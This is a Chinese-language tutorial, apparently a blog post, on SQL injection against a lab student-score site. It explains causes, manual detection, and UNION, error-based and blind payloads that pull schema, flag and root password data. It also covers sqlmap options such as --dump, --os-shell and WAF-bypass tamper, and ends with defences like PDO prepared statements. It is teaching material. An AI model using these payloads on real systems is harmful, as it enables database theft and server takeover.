SQL 注入漏洞

SQL 注入漏洞

概述

SQL 注入(SQL Injection)是一种常见的 Web 应用程序安全漏洞,攻击者通过向应用程序的输入字段插入恶意 SQL 代码,绕过正常的业务逻辑,直接操作数据库,可能导致数据泄露、篡改甚至服务器被控制。

Web 漏洞概述

常见 Web 漏洞类型

  • SQL 注入:通过未过滤的用户输入直接拼接 SQL 语句,操控数据库。
  • 跨站脚本攻击(XSS):注入恶意脚本,窃取用户数据或控制页面行为。
  • 跨站请求伪造(CSRF):伪造用户请求,执行未授权操作。
  • 文件包含漏洞:利用不当的文件包含操作执行恶意代码。
  • 文件上传漏洞:上传恶意文件导致代码执行或服务器控制。
  • CORS 漏洞:攻击者利用恶意网页跨域窃取用户敏感数据或执行未授权的操作。
  • 服务端请求伪造(SSRF):诱导服务器发起恶意请求。
  • XML 外部实体攻击(XXE):利用 XML 解析漏洞读取敏感文件。
  • 弱口令:使用易猜密码导致账户被攻破。
  • 未授权访问:绕过权限验证访问受限资源。
  • 服务器端模板注入(SSTI):利用模板引擎执行恶意代码。
  • 反序列化漏洞:通过不安全的反序列化执行恶意代码。
  • 命令/代码执行:直接运行系统命令或代码。

参考资源

漏洞研究方式

  1. 漏洞的产生原因(原理)
  2. 漏洞的危害
  3. 如何挖掘漏洞(黑盒、白盒)
  4. 如何利用漏洞
  5. 如何修复漏洞
  6. 如何绕过常见的拦截

SQL 注入漏洞

产生原因

SQL 注入漏洞的根本原因是应用程序对用户输入的信任,未进行严格的输入验证和过滤,导致用户输入的参数被直接拼接到 SQL 查询语句中。以下是常见的触发场景:

  1. 动态 SQL 拼接:后端代码将用户输入直接嵌入 SQL 语句,例如:

    SELECT * FROM users WHERE id = '用户输入';
    

    若用户输入 ' OR 1='1,SQL 语句变为:

    SELECT * FROM users WHERE id = '' OR 1='1';
    

    这将返回所有用户数据。

  2. 缺乏参数化查询:未使用参数化查询或预编译语句,导致输入直接影响 SQL 逻辑。

  3. 弱输入验证:仅依赖前端验证或简单的黑名单过滤,无法有效阻止恶意输入。

危害

SQL 注入的危害可能对整个系统造成毁灭性影响,包括:

  • 数据泄露:窃取数据库中的敏感信息,如用户凭证、个人信息等。
  • 数据篡改:修改、删除数据库内容,破坏数据完整性。
  • 权限提升:通过获取管理员账户或修改权限实现越权操作。
  • 服务器控制:通过数据库写文件或触发系统命令执行,获取服务器控制权(getshell)。
  • 拒绝服务:利用高负载查询(如 sleep())导致数据库或服务器瘫痪。

挖掘方法

白盒测试(代码审计)

通过审查源代码发现 SQL 注入漏洞,步骤如下:

  1. 定位 SQL 语句:查找代码中执行数据库查询的部分,关注 SELECTINSERTUPDATE 等语句。
  2. 检查可控变量:确认 SQL 语句中是否包含用户输入的变量。
  3. 验证输入过滤:检查是否存在有效的输入验证或参数化查询。
  4. 追溯输入来源:确认变量是否来自前端用户输入(如 GET、POST 参数)。

示例代码(存在漏洞):

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $sql);

image-20250702193348914

黑盒测试

通过外部测试探查 SQL 注入漏洞,方法如下:

  1. 识别交互点:分析网站功能,定位可能与数据库交互的参数(如搜索框、ID 参数等)。
  2. 测试 SQL 注入:通过构造特殊输入,手工测试,测试可能和数据库有交互的参数,观察系统响应。
  3. 自动化扫描:使用工具(如 BurpSuite)扫描所有参数。

示例:

  1. 网站是学生成绩查询,判断和数据库有关
  2. 实现网站的正常功能(随便输入一个学号试一试)
  3. 测试 SQL 注入
黑盒测试具体方法(闭合)

以下是常用的测试闭合的方式:

  1. 单双引号测试闭合

    • 输入 '",观察是否报错。若单引号报错,可能存在单引号闭合的 SQL 注入。
    • 示例响应:You have an error in your SQL syntax;... image-20250702111550747
  2. 逻辑 and 测试闭合

    • 输入 正确的值,返回正常结果;
    • 同时,输入 正确的值' and 1=1#,若返回正常结果,说明可能存在单引号闭合的 SQL 注入。 image-20250702111812699
  3. 逻辑 or 测试闭合

    [!CAUTION]

    or 方法应该慎用!!!

    • 输入 随意的值,查询不到数据;
    • 但是输入 随意的值' or 1=1#,可以查到数据,说明可能存在单引号闭合的 SQL 注入。 image-20250702112142041
  4. 无注释符测试闭合

    [!note]

    MySQL 注释符:

    • ## 在 URL 中使用需要编码成 %23
    • ---- 在 URL 中使用需要编码成 --+
    • 输入 正确的值' and 1= '1随意的值' or 1= '1,可以查到数据,说明可能存在单引号闭合的 SQL 注入。 image-20250702112357100
  5. 延时注入测试闭合

    [!caution]

    随意的值'or sleep(5)#:慎用,or 会查询所有的数据,比如数据库有 3 个学生,最终就是 sleep(15),会极大延长睡眠时间。

    • 输入 正确的值' and sleep(5)#随意的值' or sleep(5)#,若能触发延迟 5 秒或更久的延迟,说明可能存在单引号闭合的 SQL 注入。

      image-20250702112554498

利用方式

前置知识——MySQL 5.0 之后自带的数据库 information_schema

image-20250707092821956

  • 数据库名在哪?information_schema.schemata
  • 数据库表名在哪?information_schema.tables
  • 数据库列名在哪?information_schema.columns

显错注入——联合查询(Union Injection)

利用 UNION SELECT 组合查询,获取数据库信息。步骤如下:

确定列数
  • 使用 ORDER BY 测试遍历查询列数:

    -1' order by 1#		#不报错
    -1' order by 2#		#不报错
    -1' order by 3#		#报错 Unknown column '3' in 'order clause'
    
  • 优化:使用二分法快速定位列数。

    -1' order by 1#
    -1' order by 99#		#报错,表明结果在 1-99 之间
    -1' order by 50#
    -1' order by 25#
    -1' order by 13#
    -1' order by 6#
    -1' order by 3#
    -1' order by 2#			#不报错
    
确定回显位
  • 使用 UNION SELECT 测试哪些列会回显:

    错误的值' union select 1,2#
    -1' union select 1,2#
    

    若页面显示 2,说明第二列是回显位。

替换回显位获取基础信息
  • 用 SQL 查询语句替换回显位,获取基础信息:

    user()		#获取数据库的连接用户
    version()	#获取数据库的版本
    database()	#获取当前数据库名
    @@basedir	#获取 MySQL 的安装路径
    
获取数据库信息
  • 利用 MySQL 的 information_schema 数据库获取所有数据库名:

    -1' union select schema_name,2 from information_schema.schemata#
    -1' union select group_concat(schema_name),2 from information_schema.schemata#
    		#group_concat 是 MySQL 自带的聚合函数,用于把多行数据聚合成一行显示
    

    image-20250702142859263

  • 获取 school 数据库的表名:

    -1' union select group_concat(table_name),2 from information_schema.tables where table_schema="school"#
    

    image-20250702143144076

  • 获取 school 数据库 flag 表的列名:

    -1' union select group_concat(column_name),2 from information_schema.columns where table_schema="school" and table_name="flag"#
    

    image-20250702143438532

  • 获取 school 数据库,flag 表的 flag 列的内容:

    -1' union select flag,2 from school.flag#
    

    image-20250702144152965

  • 获取 MySQL 密码:

    -1' union select group_concat(authentication_string),2 from mysql.user where user='root' and host="%"#
    

    image-20250702144535147

显错注入——报错注入(Error-Based Injection)

联合查询不可用但数据库报错信息可见时,可通过报错注入获取数据。常见方法包括:

利用 UpdateXML 报错
  • 利用 XML 解析错误返回数据:

    #格式
    updatexml(1,concat(0x7e,(SQL语句),0x7e),1)
    
    #利用
    1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
    		#Ox7e 就是~的 ASCII 码,可以改成其他的比如 0x7b 就是 {
    

    image-20250702153058147

  • 获取所有数据库名:

    1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#
    

    image-20250702153713484

  • 使用 1 次显示 1 个结果解决 32 字符限制:

    #limit 0,1  从第 0 个开始取 1 个,不包括 0 自己
    -1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
    
    #limit 1,1  从第 1 个开始取 1 个,不包括 1 自己
    -1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)#
    

    image-20250702154157384

  • 拼接输出字符获取全部内容:

    #获取 flag 数据
    1' and updatexml(1,concat(0x7e,(select flag from school.flag limit 0,1),0x7e),1)#
    
    # 
    1' and updatexml(1,concat(0x7e,substring((select flag from school.flag limit 0,1),1,16),0x7e),1)#
    		#substring 1,16 从 1 开始,取 16 个字符,包括 1 自己,取 1-16 字符
    
    1' and updatexml(1,concat(0x7e,substring((select flag from school.flag limit 0,1),17,16),0x7e),1)#
    		#substring 17,16 从 17 开始,取 16 个字符,包括 17 自己,取 17-32 字符
    
    1' and updatexml(1,concat(0x7e,substring((select flag from school.flag limit 0,1),33,16),0x7e),1)#
    		#substring 33,16 从 33 开始,取 16 个字符,包括 33 自己,取 33-48 字符
    

    image-20250702205604597

利用 ExtractValue 报错
  • 用法类似 UpdateXML:

    #格式
    extractvalue(1,concat(0x7e,(SQL语句),0x7e))
    
    #利用
    1' and extractvalue(1,concat(0x7e,(select version()),0x7e))#
    

    image-20250702162126258

利用 Floor 报错
  • 利用 FLOORRAND 制造报错:

    #格式
    SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(O)*2))× FROM information_schema.tables GRouP BY x
    
    #利用
    #获取当前数据库版本
    -1' union select count(*),concat(floor(rand(0)*2),0x7e,version()) x from information_schema.schemata group by x #
    
    #获取数据库名
    -1' union select count(*),concat(floor(rand(0)*2),0x7e,(select schema_name from information_schema.schemata limit 0,1)) x from information_schema.schemata group by x #
    

    image-20250702163649460 image-20250702163806675

盲注——布尔盲注

前提
  1. SQL 注入没有回显位
  2. 没有 MySQL 报错信息
  3. 网站在查询成功和查询失败的情况下,显示的内容 不同

[!tip]

如果没有正确的值,就要使用 or,-1'or 1=1# 慎用!

20210101'and 1=1#		#网站输出:查询成功
20210101'and 1=2#		#网站输出:查询失败
函数
  1. length 函数:获取字符长度

    length("hello")		#结果为:5
    
  2. left 函数:从左边开始取几个字符

    left("hello",1)		#结果为:h
    left("hello",3)		#结果为:hel
    
  3. substring 函数:从左边第几位开始取几个字符

    substring("hello",1,2)		#结果为:he
    
  4. mid 函数:从左边第几位开始取几个字符

    mid("hello",2,3)		#结果为:ell
    
猜测
  1. 猜测当前数据库的长度

    正确的值' and length(database()) > 1#		#查询成功
    正确的值' and length(database()) = 5#		#查询失败
    正确的值' and length(database()) = 6#		#查询成功,说明数据库名长度为 6
    
  2. 猜测其他信息(例如数据库版本、权限)

    #猜测数据库版本
    20210101' and left(version(),1) = 8#		#查询失败
    20210101' and left(version(),1) = 5#		#查询成功,说明数据库的大版本为 5
    
    #猜测当前的 MySQL 数据库的连接用户是否是 root
    20210101' and left(user(),4) = 'root'#		#查询成功,说明数据库的连接用户是 root
    
  3. 猜测具体数据(库名、表名、列名、数据)

    #猜测第一个数据库
    20210101' and (select schema_name from information_schema.schemata limit 0,1) = "information_schema"#
    
    #猜测 第二个数据库的 第一个字符
    20210101' and left((select schema_name from information_schema.schemata limit 1,1),1) > "a"#
    20210101' and left((select schema_name from information_schema.schemata limit 1,1),1) < "z"#
    20210101' and left((select schema_name from information_schema.schemata limit 1,1),1) = "m"#
    
    #猜测 school 数据库 第一个表的 第一个字符
    20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 0,1),1) > "a"#
    20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 0,1),1) = "f"#
    
    #猜测 school 数据库 第二个表的 第一个字符
    20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 1,1),1) > "a"#
    20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 1,1),1) = "s"#
    20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 1,1),8) = "students"#
    

盲注——时间盲注

前提
  1. SQL 注入没有回显位
  2. 没有 MySQL 报错信息
  3. 网站在查询成功和查询失败的情况下,显示的内容 相同
测试闭合

时间盲注时,因为网站在查询成功和查询失败的情况下,显示的内容均相同,无法看出区别,只能使用 延时注入 测试闭合

正确的值' and sleep(5)#
错误的值' or sleep(5)#		#or 慎用
函数
if(SQL表达式,sleep(5),NULL)
		#如果 SQL 表达式是真的,则执行 sleep(5)
		#如果 SQL 表达式是假的,则执行 NULL,无事发生
		#SQL 表达式与布尔盲注中所使用的条件表达式相同
猜测
#猜测当前数据库的长度
20210101' and if((length(database())>1),sleep(5),NULL)#

#猜测 第二个数据库的 第一个字符
20210101' and if((left((select schema_name from information_schema.schemata limit 1,1),1) = "m"),sleep(5),NULL)#

#猜测 school 数据库 第二个表的字符
20210101' and if((left((select table_name from information_schema.tables where table_schema="school" limit 1,1),8) = "students"),sleep(5),NULL)#

工具 SQLMAP

概述

SQLMAP 是一款开源渗透测试工具,可以自动检测和利用 SQL 注入漏洞,并接管数据库服务器。

安装

[!tip]

如果是 Kali 系统,则不用安装,Kali 系统自带 SQLMAP

#克隆项目
git clone https://github.com/sqlmapproject/sqlmap.git

使用

查看帮助信息

#非 Kali 系统运行查看 SQLMAP 常用帮助信息
python sqlmap.py -h
#非 Kali 系统运行查看 SQLMAP 所有帮助信息
python sqlmap.py -h

#kali 系统运行查看 SQLMAP 常用帮助信息
sqlmap -h
#Kali 系统运行查看 SQLMAP 所有帮助信息
sqlmap -hh

漏洞测试流程

检测 SQL 注入漏洞

[!caution]

如果没有办法得到正确的参数值,直接给 sqlmap -u "url" 这时,salmap 会用 or 进行测试,可能对服务器造成破坏。

#检测 SQL 注入漏洞
sqlmap -u "url"
sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101"
		#-u url

image-20250703112355109

获取基础信息
#获取当前数据库名
sqlmap -u "url" --current-db

#获取当前用户
sqlmap -u "url" --current-user

#获取版本及其他信息
sqlmap -u "url" --banner
获取信息
#获取数据库名
sqlmap -u "url" --dbs

sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" --dbs

image-20250703134218686

获取数据库表名
#获取数据库表名
sqlmap -u "url" -D [databaseName] --tables
		#-D 指定数据库名

sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" -D school --tables

image-20250703134432904

获取数据库指定表的列名
#获取数据库指定表的列名
sqlmap -u "url" -D [databaseName] -T [tableName] --columns
		#-T 指定数据库表名

sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" -D school -T flag --columns

image-20250703134702767

获取具体数据
#获取某一列内容
sqlmap -u "url" -D [databaseName] -T [tableName] -C [columnName] --dump
		#-C 指定数据库列名

#获取整个表内容
sqlmap -u "url" -D [databaseName] -T [tableName] --dump

sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" -D school -T students --dump 

image-20250703134907470

常用命令

清除缓存
--flush-session
指定 POST 请求体
--data

sqlmap -u "http://192.168.85.99/string_sqli.php" --data "student_id=20210101"
指定请求报文

请求报文文件可以在 BurpSuite 里点击 copy to file 保存

-r
sqlmap -r [请求报文文件的路径]
		#请求报文文件可以在 BurpSuite 里点击 copy to file 保存
默认运行,不再选择 Y/n
--batch
指定数据库的类型
--dbms

#指定数据库为 MySQL
--dbms mysql		#可选数据库 mysql、mssql、pgsql、oracle、access、···
指定测试参数
-p [参数名]

-p student_id
指定身份凭据

用于测试需要登陆才能访问的 SQL 注入漏洞(后台漏洞

--cookie "[cookie]"

sqlmap -u "http://192.168.85.99/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "PHPSESSID=2bdb50be94fda196622367e01f841ea4; security=low"

#使用 -r 命令也可以测试后台漏洞,因为请求体内包含有 cookie
指定利用方式
--tech [B、E、U、S、T、Q]
		#B	布尔盲注
		#E	报错注入
		#U	联合查询
		#S	堆叠注入
		#T	时间盲注
		#Q	内联注入
显示详细信息
-v [0、1、2、3]
		#0	不显示任何信息
		#1	默认输出
		#2	显示调试信息
		#3	显示攻击过程
测试等级
--level [1、2、3、4、5]
		#1	默认,测试 get 或 post 参数
		#2	测试 Cookie 注入
		#3	测试常见的请求头
        #4/5	测试所有 (一般不用)
隐患等级
--risk [1、2、3]
		#1	默认,不会使用 or
    	#2	高危测试,会大量使用 or
        #3	高危测试,会大量使用 or,且会测试 delete 型、update 型、insert 型注入
随机 UA 头
--random-agent
		#若不加,默认的 UA 会包含 sqlmap 特征
代理
--proxy
--proxy socks5://[物理机IP]:7897

其他命令

使用 tor 代理
--tor
指定注入前缀(指定闭合)
--prefix "')"
		#指定闭合是 ')
指定注入后缀(指定注释)
--suffix "#"
		#指定注释是 #
绕过 WAF
--tamper [script]
获取系统命令行
--os-shell

SQL 注入防御和修复

黑名单与白名单

  1. 黑名单:不允许,黑名单是一种 默认允许 策略,只有明确列出的实体才会被禁止。
  2. 白名单:只允许,白名单是一种 默认拒绝 策略,只有明确列出的实体才被允许访问或执行操作。

转义引号

  • 转义引号通过在特殊字符(例如单双引号)前添加转义符(通常是反斜杠),使其失去特殊语法意义
' --> \'	#将单引号转义为 \'
" --> \"	#将双引号转义为 \"
<?php
······
//准备要转义的用户输入
$user_input = $_GET['id'];

//对字符串进行转义处理
$escaped = mysqli_real_escape_string($mysqli, $user_input);
		//mysqli_real_escape_string() 函数
		//第一个参数 $mysqli:数据库连接对象
		//第二个参数 $user_input:要转义的字符串
		// 转义后会在特殊字符(如单引号)前添加反斜杠

//构建SQL查询语句,将转义后的字符串嵌入SQL语句
$query = "INSERT INTO authors (name) VALUES ('$escaped')";

//执行SQL查询
$mysqli->query($query);
······
?>

检测是否是数字

  • 通过检测变量是否是数字或数字字符串,从而过滤掉 SQL 注入代码。
  • 函数:is_numeric
<?php
······
//获取用户输入
$user_input = $_GET['id'];

//验证输入是否为数字
if(!is_numeric($user_input)) {
    //如果不是数字,终止执行并返回错误消息
    die("错误:ID必须是数字");
}
······
?>

检测并替换敏感字符

[!caution]

该方式中,切勿将敏感字符替换为空,否则会造成双写绕过漏洞。

  • 将可能的敏感字符替换为其他字符,从而使得攻击者注入的 SQL 语句错误。
  • 函数:str_replace
<?php
······
$student_id = $_GET['id'];

//使用str_replace进行简单转义
$escaped_string = str_replace("order", "f@ck'", $student_id);
		//str_replace() 函数:
		//第一个参数:要查找的子字符串
		//第二个参数:替换为其他的字符串
		//第三个参数:被搜索的原始字符串
······
?>

拦截敏感字符

  • 将可能的敏感字符拦截,若变量中有敏感字符,将返回报错。
  • 函数:strstr
<?php
······
//获取用户输入
$user_input = $_GET['id'];

//验证输入是否有敏感字符
if(strstr($user_input,"order")) {
    //如果有敏感字符,终止执行并返回错误消息
    exit("错误");
}
······
?>

PDO SQL 语句预处理

  • SQL 语句预处理即不让输入变量参数与 SQL 语句直接拼接。
<?php
······
//获取用户输入
$user_id= $_GET['user_id'];

//使用命名参数 :user_id 作为占位符
$sql = "SELECT id, username, email FROM users WHERE id = :user_id";
$stmt = $pdo->prepare($sql);

// 将 $user_id 变量绑定到 :user_id 参数,并指定为整数类型
$stmt->bindParam(':user_id', $user_id, PDO::PARAM_INT);

//执行查询
$stmt->execute();
······
?>
  • PDO SQL 语句预处理步骤:

    1. 预处理 SQL 语句,此时的 SQL 语句中没有任何可控变量,只有占位符;
    2. 将参数与变量进行绑定;
    3. 执行查询。
  • PDO 可以防止 SQL 注入的原因:参数没有直接拼接到 SQL 语句中

Q:网站使用了 PDO,一定能防御 SQL 注入吗? A:不能,只有正确使用了参数绑定,才可以防御 SQL 注入,如下代码,虽然使用了 PDO,但是还是把参数直接拼接到了 SQL 语句中,依然存在 SQL 注入。

<?php
······
//获取用户输入
$user_id= $_GET['user_id'];

//把参数直接拼接到了 SQL 语句中
$sql = "SELECT id, username, email FROM users WHERE id = $user_id";
$stmt = $pdo->prepare($sql);
······
?>

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇